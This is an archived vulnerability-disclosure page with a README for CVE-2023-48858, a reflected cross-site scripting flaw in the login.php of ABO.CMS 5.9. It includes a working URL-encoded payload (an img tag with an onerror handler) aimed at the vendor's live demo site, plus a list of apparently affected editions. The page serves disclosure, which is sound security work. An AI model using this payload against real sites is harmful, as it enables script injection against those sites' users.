Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-48858 PoC — ABO.CMS 安全漏洞

Source
Associated Vulnerability
Title:ABO.CMS 安全漏洞 (CVE-2023-48858)
Description:ABO.CMS是一个内容管理平台。 ABO.CMS 5.9版本存在安全漏洞,该漏洞源于存在跨站脚本(XSS)漏洞,允许远程攻击者通过login.php注入任意Web脚本或HTML。
Description
PoC for CVE-2023-48858
Readme
# CVE-2023-48858
PoC for CVE-2023-48858

A Cross-site scripting (XSS) vulnerability in login page php code in 
Armex ABO.CMS 5.9 allows remote attackers to inject arbitrary web 
script or HTML via the `login.php?` URL part.

Proof of Concept:  
`http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y`
![изображение](https://github.com/Shumerez/CVE-2023-48858/assets/52412906/da03ef2b-fc25-4404-bb79-009d10ac3652)

It isn't specifically "demo" version vulnerability, it *was confirmed 
in wild* on real exposed-to-net website  
Link to the demo used here is just to show that this vulnerability persist

Vulnerability Type:  
Cross Site Scripting (XSS)

Vendor of Product:  
Armex Programming Products (INN 7722635725)

(Presumably) affected products:  
ABO.CMS: Start - 5.9  
ABO.CMS: Promo - 5.9  
ABO.CMS: Corporative - 5.9  
ABO.CMS: Shop - 5.9  
ABO.CMS: Business - 5.9  
ABO.CMS: Bank - 5.9  

The problem was found in login.php page, so all versions which use it (login feature) shall be affected. Also I personally don't think anything will change to fix this vulnerability in next versions of ABO.CMS  

Reference:  
https://abocms.ru/about/versions/version59/  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48858
File Snapshot

[4.0K] /data/pocs/d4aa8f5c9e4613f955534479ce61da14b18ed779 └── [1.3K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.